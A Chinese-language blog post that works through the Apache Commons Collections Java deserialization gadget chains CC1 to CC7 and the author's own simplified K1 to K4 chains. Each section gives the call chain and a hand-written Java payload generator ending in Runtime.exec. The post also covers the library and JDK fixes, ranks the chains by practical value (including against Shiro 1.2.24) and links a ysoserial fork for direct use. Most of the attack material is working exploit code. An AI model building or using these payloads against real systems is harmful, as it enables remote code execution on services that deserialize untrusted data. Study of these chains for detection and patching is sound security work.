之前做 fastjson 的检测只能说一只脚踏入了 Java 安全,若想真正入门 Java 安全,CommonsCollections 系列反序列化利用链是一个非常好的学习资源,个人感觉看完后收获颇丰,我把比较关键的一些点都记录下来了,并把这些零散的内容整理成了一份表格放在这篇文章最后,如果不关心背后的原理,直接看最后的总结即可。文中提到的那些 K1 ~ K4 可以从这里直接下载使用:https://github.com/zema1/ysoserial
CommonsCollections1
依赖
- CommonsCollections <= 3.2.1
- Java < 8u71
利用链
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
ConstantTransformer.transform()
|
笔记
大致可以分为两部分,一部分是构造 ChainedTransformer
,另一部分是设法调用这个 chain 的 transform
方法。其中前者可以直接表示为:
1
2
3
4
5
6
7
8
9
10
11
12
| final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class}, new String[]{"say yes"}),
};
ChainedTransformer chain = new ChainedTransformer(transformers);
|
当 这里的 chain.transform
被调用时,执行的命令类似:
1
| Runtime.getRuntime().exec("say yes");
|
更深入的,调用过程类似下面的反射调用:
1
2
3
4
5
6
7
8
9
10
| Class cls = Object.class.getClass();
Method m = cls.getMethod("getMethod", String.class, Class[].class);
Object getRuntime = m.invoke(Runtime.class, "getRuntime", new Class[0]);
cls = getRuntime.getClass();
m = cls.getMethod("invoke", Object.class, Object[].class);
Object runtime = m.invoke(getRuntime, null, new Object[0]);
m = runtime.getClass().getMethod("exec", String.class);
m.invoke(runtime, "say yes");
|
关键在于如何去调用这个 chain 的 transform
方法,ysoserial 的 CommonsCollections1 用的调用链依赖于两次 AnnotationInvocationHandler
的代理和一个 LazyMap
的最终触发,这个过程完整手写的话如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
| final String[] execArgs = new String[]{"touch /tmp/aaaa"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class}, execArgs),
// 注意这里多了一个 HashSet,这样可以避免原版的一个 Cast Error
new ConstantTransformer(new HashSet<String>())};
ChainedTransformer chain = new ChainedTransformer(transformers);
Map hashMap = new HashMap();
// 当 LazyMap.get 被调用时,会触发 chain.transform
Map m = LazyMap.decorate(hashMap, chain);
// sun.reflect.annotation.AnnotationInvocationHandler 不是 public 的,不能直接构造出来
Constructor constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
// 这里的 Deprecated.class 可以换成任意一个 AnnotationType
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Deprecated.class, m);
// 这里套一层 proxy 为了在 readObject 是调用 entrySet 时调用 AnnotationInvocation 的 invoke 方法, 其中会调用 lazyMap 的 get 从而触发
Object proxy = Proxy.newProxyInstance(handler.getClass().getClassLoader(), new Class[]{Map.class}, handler);
// 最外层是 AnnotationInvocationHandler,触发 readObject 操作
Object obj = constructor.newInstance(Deprecated.class, proxy);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("out.bin"));
out.writeObject(obj);
out.close();
|
CommonsCollections1_1
依赖
- CommonsCollections <= 3.2.1
- Java < 8u71
利用链
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
TransformedMap.setValue()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
ConstantTransformer.transform()
|
笔记
我在看上面的 1 时,发现还有个别的利用链可以用,不再使用 LazyMap
而是使用 TransformedMap
,调用链略有差异,利用链深度也简单一些。这个利用链用原生代码可以表示为:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| ChainedTransformer chain = new ChainedTransformer(transformers);
Map hashMap = new HashMap();
// 这个值不可改
hashMap.put("value", SuppressWarnings.class);
// sun.reflect.annotation.AnnotationInvocationHandler 不是 public 的,不能直接构造出来
Constructor constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
// 最终调用链是 readObject 时的 setValue -> transformedMap.setValue -> chained
Map tm = TransformedMap.decorate(hashMap, new ConstantTransformer(0), chain);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(SuppressWarnings.class, tm);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("out.bin"));
out.writeObject(handler);
out.close();
|
需要注意的是,这里在 hashMap 中放的不是任意的,需要满足这两点才可以:
- class 为 Annotation
- 该注解包含至少一个方法
- hashMap put 的 key 就是方法名之一
实际用起来效果和 1 应该是一致的,只是 payload 要短一点。
CommonsCollections2
依赖
利用链
1
2
3
4
5
6
7
8
9
10
11
| ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
TemplatesImpl.newTransformer()
TemplatesTmpl.getTransletInstance()
TemplatesTmpl.defineTransletClasses()
TemplatesTmpl.newInstance()
ClassInitializer()
Runtime.exec()
|
笔记
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| public static void main(String[] args) throws Exception {
String code = "{System.out.println('1');}";
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(Exception.class.getName());
clazz.makeClassInitializer().insertBefore(code);
clazz.setName("demo");
byte[] byteCode = clazz.toBytecode();
// load bytecode
Class cls = new DefiningClassLoader().defineClass("demo", byteCode);
cls.newInstance();
}
// 效果类似
public class Exception extends Throwable {
{System.out.println('1');}
...
}
|
这段代码展示了两个小知识,一是可以利用 ClassLoader 去加载字节码然后执行,而是借助 javassist 的强大魅力,可以轻松的给已有的类做编排(Instrumenting)内置类型 Exception 增加一段 static 代码块,加载字节码市,静态代码块就会被执行,借助这个特性,可以做一些非常 Magic 和 Amazing 的事情。
CommonCollections2 和下面的几个利用链都用到了 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
这个类,这个类有个特性当调用 newTransform
时,会加载内部的 _bytecode
中的字节码并实例化,这个利用链手写大致如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
| public static class FooBar implements Serializable { }
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
String AbstractTranslet = "org.apache.xalan.xsltc.runtime.AbstractTranslet";
pool.insertClassPath(new ClassClassPath(FooBar.class));
pool.insertClassPath(new ClassClassPath(Class.forName(AbstractTranslet)));
CtClass bar = pool.get(FooBar.class.getName());
CtClass translet = pool.get(Class.forName(AbstractTranslet).getName());
// 给 bar 动态设置父类,同时设置 static 的初始化恶意代码
bar.setSuperclass(translet);
bar.makeClassInitializer().insertBefore("{Runtime.getRuntime().exec(\"touch /tmp/abc\");}");
// hack it. 为了避免 postInitialization 的调用,防止反序列化报错
bar.getDeclaredConstructor(new CtClass[0]).insertAfter("{$0.transletVersion=101;}");
byte[] b = bar.toBytecode();
// 这个是为了避免 _auxClasses 为空导致的 Exception
byte[] foo = pool.get(Gadgets.Foo.class.getName()).toBytecode();
// 实例化方法没用开,用反射做
Constructor con = TemplatesImpl.class.getDeclaredConstructor(byte[][].class, String.class, Properties.class, int.class, TransformerFactoryImpl.class);
con.setAccessible(true);
Templates tpl = (Templates) con.newInstance(new byte[][]{b, foo}, "abc", new Properties(), 1, new TransformerFactoryImpl());
...
// 后续调用链只需触发 tpl.newTransformer() 即可触发
}
}
|
这里相比原版加了一行 bar.getDeclaredConstructor(new CtClass[0]).insertAfter("{$0.transletVersion=101;}");
这个可以有效防止序列化之后的报错,整个序列化流程跑完没有任何异常,非常舒服。我们将这个函数保存为 createTemplate()
,后面就再写相同代码了。至于触发方法,在 CommonsCollections2 中用的是这样的利用链:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| final Object templates = Gadgets.createTemplatesImpl(command);
// mock method name until armed
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
// stub data for replacement later
queue.add(1);
queue.add(1);
// switch method called by comparator
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = tpl;
queueArray[1] = 1;
// then write queue
|
这里用了一个小技巧是利用反射延迟设置 queue 内部的值,防止 queue.add
时利用链就被触发了。但这个成功反序列化后也会有个错误,原因是 Templeates 被实例化后是不可被比较的,我把利用链稍微调整了一下就可以规避这个问题,这个利用链支调整了最终 transform 的逻辑,核心触发逻辑没变,就不作为 2_1 来写了:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| Templates tpl = MyGadget.createTemplate();
InvokerTransformer invokerTransformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
ChainedTransformer transformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(tpl),
invokerTransformer,
// 返回一个 constant 值,防止报错
new ConstantTransformer(1),
});
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(transformer));
queue.add(1);
queue.add(2);
Field i = invokerTransformer.getClass().getDeclaredField("iMethodName");
i.setAccessible(true);
i.set(invokerTransformer, "newTransformer");
// then write queue
|
CommonsCollections3
依赖
- CommonsCollections <= 3.2.1
- Java < 8u71
利用链
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
// 变的是下面这部分
ConstantTransformer.transform()
InstantiateTransformer.transform()
TrAXFilter()
TemplatesImpl.newTransformer()
TemplatesTmpl.getTransletInstance()
TemplatesTmpl.defineTransletClasses()
TemplatesTmpl.newInstance()
ClassInitializer()
Runtime.exec()
|
笔记
和 CommonCollectins1 的前半部分是一致的,所以依赖都是一致的。不同的是借助 InstantiateTransformer
和 TrAXFilter
这个链完成 TemplateImpl 的实例化,能利用的原因在于 TrAXFilter
这个类的实例化函数是这样的:
1
2
3
4
5
6
| public TrAXFilter(Templates templates) throws TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
}
|
顺手可以手写一份利用代码:
1
2
3
4
5
6
| Templates tpl = MyGadget.createTemplate();
Transformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{tpl}),
});
// chain 的触发和 1 一样,不再赘述
|
CommonsCollections4
依赖
利用链
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
ChainedTransformer.transform()
// 变的是下面这部分
ConstantTransformer.transform()
InstantiateTransformer.transform()
TrAXFilter()
TemplatesImpl.newTransformer()
TemplatesTmpl.getTransletInstance()
TemplatesTmpl.defineTransletClasses()
TemplatesTmpl.newInstance()
ClassInitializer()
Runtime.exec()
|
笔记
这个就是 2 的后半部分用了 InstantiateTransformer
,和我自己写的那个只有一点点的不一样,不再赘述
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
| Templates tpl = MyGadget.createTemplate();
ConstantTransformer constantTransformer = new ConstantTransformer(String.class);
InstantiateTransformer initTransformer = new InstantiateTransformer(new Class[]{}, new Object[]{});
Transformer transformer = new ChainedTransformer(new Transformer[]{
constantTransformer,
initTransformer,
new ConstantTransformer(1),
});
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(transformer));
queue.add(1);
queue.add(2);
Field i = constantTransformer.getClass().getDeclaredField("iConstant");
i.setAccessible(true);
i.set(constantTransformer, TrAXFilter.class);
i = initTransformer.getClass().getDeclaredField("iParamTypes");
i.setAccessible(true);
i.set(initTransformer, new Class[]{Templates.class});
i = initTransformer.getClass().getDeclaredField("iArgs");
i.setAccessible(true);
i.set(initTransformer, new Object[]{tpl});
// then write queue
|
CommonsCollections5
依赖
- CommonsCollections <= 3.2.1
- Java >= 8u76
- SecurityManager 未开启
利用链
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
|
笔记
这个 gadget 只能在 8u76 之后用,原因在于 8u76 为 BadAttributeValueExpException 添加了 readObject
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
| private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
|
同时 TiedMap 的 toString
方法为,可以说是非常人性化了:
1
2
3
| public String toString() {
return getKey() + "=" + getValue();
}
|
利用过程也是非常简单:
1
2
3
4
5
6
7
8
9
| // LazyMap 和 1 的是一样的
Map m = LazyMap.decorate(hashMap, chain);
Object obj = new BadAttributeValueExpException("");
Field i = obj.getClass().getDeclaredField("val");
i.setAccessible(true);
i.set(obj, new TiedMapEntry(m, "value"));
// then write obj
|
CommonsCollections6
依赖
- CommonsCollections <= 3.2.1
利用链
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| java.util.HashMap.readObject()
java.util.HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
|
笔记
由于 5 有环境版本的要求,这个相当于是 5 的改进,不依赖版本了。利用链原理 TiedMapEntry
的 hashcode
方法可以结合 HashMap
利用:
1
2
3
4
5
| public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
|
ysoserial 中这个 gadget 实现的很复杂,实际上可以简化 参考,完整链手写如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
| final String[] execArgs = new String[]{"open /Applications/Calculator.app"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class}, execArgs),
new ConstantTransformer(new HashSet<String>())};
ChainedTransformer inertChain = new ChainedTransformer(new Transformer[]{});
HashMap<String,String> innerMap = new HashMap<String, String>();
Map m = LazyMap.decorate(innerMap, inertChain);
Map outerMap = new HashMap();
TiedMapEntry tied = new TiedMapEntry(m, "v");
outerMap.put(tied, "t");
// 这个很关键
innerMap.clear();
// 将真正的 transformers 设置, 避免上面 put 时 payload 时就执行了
Field field = inertChain.getClass().getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(inertChain, transformers);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("out.bin"));
out.writeObject(outerMap);
out.close();
|
这里有个细节很关键,就是 innerMap.clear()
这句,这并不是为了清空下缓存,而是如果没有这一句在反序列化时就不会触发了,原因是 LazyMap 中有这样的写法:z
1
2
3
4
5
6
7
8
9
| public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
|
如果没有 clear,那么反序列化后的 map 是直接包含了 key 的,这里的 factory.transform
就中断了。为了方便使用,我把这条简化后的链命名为了 K3,见后面的部分。
CommonsCollections7
依赖
- CommonsCollections <= 3.2.1
利用链
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
java.util.AbstractMap.equals
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
|
笔记
这个原理基于三个小技巧:
yy
和 zZ
这两个字符串的 hashcode() 是一样的- 当向 hashtable 或 hashmap 中put时,如果 key 是一个 map,hashcode 的计算方法是这种方式:
1
2
3
4
5
6
7
8
| // java.util.AbstractMap#hashCode
public int hashCode() {
int h = 0;
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext())
h += i.next().hashCode();
return h;
}
|
- 当 key 为 map 类型并且发生了 hashcode 碰撞,会做深层次的比较:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| // java.util.AbstractMap#equals
public boolean equals(Object o) {
// ...
try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
// 这里会触发 lazymap 的 transform
if (!value.equals(m.get(key)))
return false;
}
}
// ...
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, inertChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, inertChain);
lazyMap2.put("zZ", 1);
// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
Field i = inertChain.getClass().getDeclaredField("iTransformers");
i.setAccessible(true);
i.set(inertChain, transformers);
// 和 6 中 innerMap.clear() 一个道理,需要清除 put 时的缓存,这样反序列化时才会产生冲突并触发 lazymap.get
lazyMap2.remove("yy");
// then write hashtable to file
|
CommonsCollectionsK1,K2
依赖
- K1: CommonsCollections <= 3.2.1
- K2: CommonsCollections == 4.0
利用链
1
2
3
4
5
6
| HashMap.readObject
TiedMapEntry.hashCode
TiedMapEntry.getValue
LazyMap.decorate
InvokerTransformer
templates...
|
笔记
这是我在做 shiro 检测时被迫组合出的一条利用链,这条链虽然是新瓶装旧酒——前半段类似 6,后半段类似 2,但完全避免了 ChainedTransformer
的使用且仅依赖于 CommonsCollections,最终效果是可以直接在 shiro 1.2.24 的环境中使用。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| Object tpl = Gadgets.createTemplatesImpl("cmd");
InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
HashMap<String,String> innerMap = new HashMap<String, String>();
Map m = LazyMap.decorate(innerMap, transformer);
Map outerMap = new HashMap();
TiedMapEntry tied = new TiedMapEntry(m, tpl);
outerMap.put(tied, "t");
// 这个很关键
innerMap.clear();
// 将真正的 transformers 设置, 避免上面 put 时 payload 时就执行了
Field field = transformer.getClass().getDeclaredField("iMethodName");
field.setAccessible(true);
field.set(transformer, "newTransformer");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("out.bin"));
out.writeObject(outerMap);
out.close();
|
K2 与 K1 的差别,仅仅是将 lazyMap 改为了 4.0 中的写法,不再赘述。
CommonsCollectionsK3,K4
依赖
- K1: CommonsCollections <= 3.2.1
- K2: CommonsCollections == 4.0
利用链
1
2
3
4
5
6
| java.util.HashMap.readObject()
java.util.HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
|
笔记
K3 这个链其实就是我上面写的 6,ysoserial 中的写法有些啰嗦,所以单独抽出来重新命名了一下。K4 就是 K3 的 4.0 适配版,不再赘述。
修复方式
3.2.1
在 3.2.2 中对几个高危反序列化点都加了检查
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
| private void readObject(ObjectInputStream is) throws ClassNotFoundException, IOException {
FunctorUtils.checkUnsafeSerialization(InvokerTransformer.class);
is.defaultReadObject();
}
// FunctorUtils.checkUnsafeSerialization
static void checkUnsafeSerialization(Class clazz) {
String unsafeSerializableProperty;
try {
unsafeSerializableProperty =
(String) AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return System.getProperty(UNSAFE_SERIALIZABLE_PROPERTY);
}
});
} catch (SecurityException ex) {
unsafeSerializableProperty = null;
}
if (!"true".equalsIgnoreCase(unsafeSerializableProperty)) {
throw new UnsupportedOperationException(
"Serialization support for " + clazz.getName() + " is disabled for security reasons. " +
"To enable it set system property '" + UNSAFE_SERIALIZABLE_PROPERTY + "' to 'true', " +
"but you must ensure that your application does not de-serialize objects from untrusted sources.");
}
}
|
没有使用黑名单策略,如果配置里没有启用,反序列化功能就会被完全禁用掉。
4.0
直接把一些敏感类的 Serializable
接口去掉了..
- WARNING: from v4.1 onwards this class will not be serializable anymore* in order to prevent potential remote code execution exploits. Please refer to* COLLECTIONS-580
* for more details.*
AnnotationInvocationHandler
除了对 CommonsCollections 本身的修复,JDK 对 AnnotationInvocationHandler
这个非常好用的类也做了些防护,在 8u71 中, 对 readObject 做了一些修改
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
| // sun.reflect.annotation.AnnotationInvocationHandler#readObject
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
GetField var2 = var1.readFields();
Class var3 = (Class)var2.get("type", (Object)null);
Map var4 = (Map)var2.get("memberValues", (Object)null);
AnnotationType var5 = null;
try {
var5 = AnnotationType.getInstance(var3);
} catch (IllegalArgumentException var13) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var6 = var5.memberTypes();
LinkedHashMap var7 = new LinkedHashMap();
String var10;
Object var11;
for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {
Entry var9 = (Entry)var8.next();
var10 = (String)var9.getKey();
var11 = null;
Class var12 = (Class)var6.get(var10);
if (var12 != null) {
var11 = var9.getValue();
if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {
var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10));
}
}
}
AnnotationInvocationHandler.UnsafeAccessor.setType(this, var3);
AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, var7);
}
|
注意到最终反序列化出的 memberValues 已经不是我们原始的 lazyMap 了,而是一个新的 LinkedHashMap,这样所有 AnnotationInvocationHandler
搭配 lazymap 的利用链全都失效了。这也是我不太喜欢这些利用链的原因,它们不仅有库的依赖,还有环境的依赖。那么哪些是高价值利用链,哪些是没有环境依赖就能打的,我们来总结一下。
总结
注1:CC 意为 CommonsCollections
注2: ysoserial 中部分依赖条件不正确,已实验并更正
注3:可改造指的是把 3 中的 lazymap.decorate 换成 4 中的 lazymap.lazymap 就可以用
名称 | 利用链 | 依赖 | 推荐程度 | 备注 |
---|
CC1 | AnnotationInvocationHandler LazyMap.decorate ChainedTransformer InvokerTransformer | CC <= 3.2.1 Java < 8u71 | 低 | 可改造以支持 4.0 |
CC2 | PriorityQueue TransformingComparator InvokerTransformer TemplatesImpl | CC4.0 | 中 | |
CC3 | AnnotationInvocationHandler LazyMap.decorate ChainedTransformer InstantiateTransformer TrAXFilter TemplatesImpl | CC <= 3.2.1 Java < 8u71 | 低 | 可改造以支持 4.0 |
CC4 | PriorityQueue TransformingComparator ChainedTransformer InstantiateTransformer TrAXFilter TemplatesImpl | CC4.0 | 中 | |
CC5 | BadAttributeValueExpException TiedMapEntry.toString LazyMap.decorate ChainedTransformer InvokerTransformer | CC <= 3.2.1 Java >= 8u76 SecurityManger 未开启 | 低 | 可改造以支持 4.0 |
CC6 | HashMap TiedMapEntry.hashCode TiedMapEntry.getValue LazyMap.decorate ChainedTransformer InvokerTransformer | CC <= 3.2.1 | | |
高 | 可改造以支持 4.0 | | | |
CC7 | Hashtable/HashMap AbstractMap.equals LazyMap.decorate ChainedTransformer InvokerTransformer | CC <= 3.2.1 | 高 | 可改造以支持 4.0 |
K1/K2 | HashMap.readObject TiedMapEntry.hashCode TiedMapEntry.getValue LazyMap.decorate InvokerTransformer TemplatesImpl | K1: CC <= 3.2.1 K2: CC == 4.0 | 最高 | 特别的:可以打 shiro 1.2.24 的默认环境 |
K3/K4 | 与 6 一致 | K3: CC <= 3.2.1 K4: CC == 4.0 | 最高 | 无任何依赖,是 6 的简化版 |
CommonsCollections 有两个大版本,K3/K4 是这两个版本最好用的两条链,因为它们对环境毫无依赖,仅仅依赖于库本身。其次的 K1/K2 是两个使用字节码加载的利用链,TemplatesImpl 在部分环境下反序列化会被 SecurityManager 禁用,但这两个链可以打 shiro 1.2.24 的默认环境,所以也是很有实战价值的。综合来看,K1~K4 这四条链可以完整代替且超越之前的 1~7,他们加起来代表了 CommonsCollections 各种可能的情况,我将这一部分成果放在了 https://github.com/zema1/ysoserial ,大家可以直接下载使用。
后话
其实江湖上还有其他的一些 gadget,但其他的利用链原理和已有的这些也都大差不差,说到底基于 CommonsCollections 的利用链基本都是这个模子出来的
- 起点
- AnnotationInvocationHandler
- XXComparator
- HashMap/HashSet/HashTable
- 终点
- ChainedTransformer
- TemplatesImpl
熟悉这个规律,我们完全可以自己组合一下就会多出新的利用链。我在文中也有反复提到 shiro 的反序列化,shiro 是今年比较热门的一个漏洞,其反序列化和普通的反序列化稍有区别,我在此留个坑,以后再聊下我是如何科学且可靠的检测 shiro remeberme 反序列化的这个漏洞。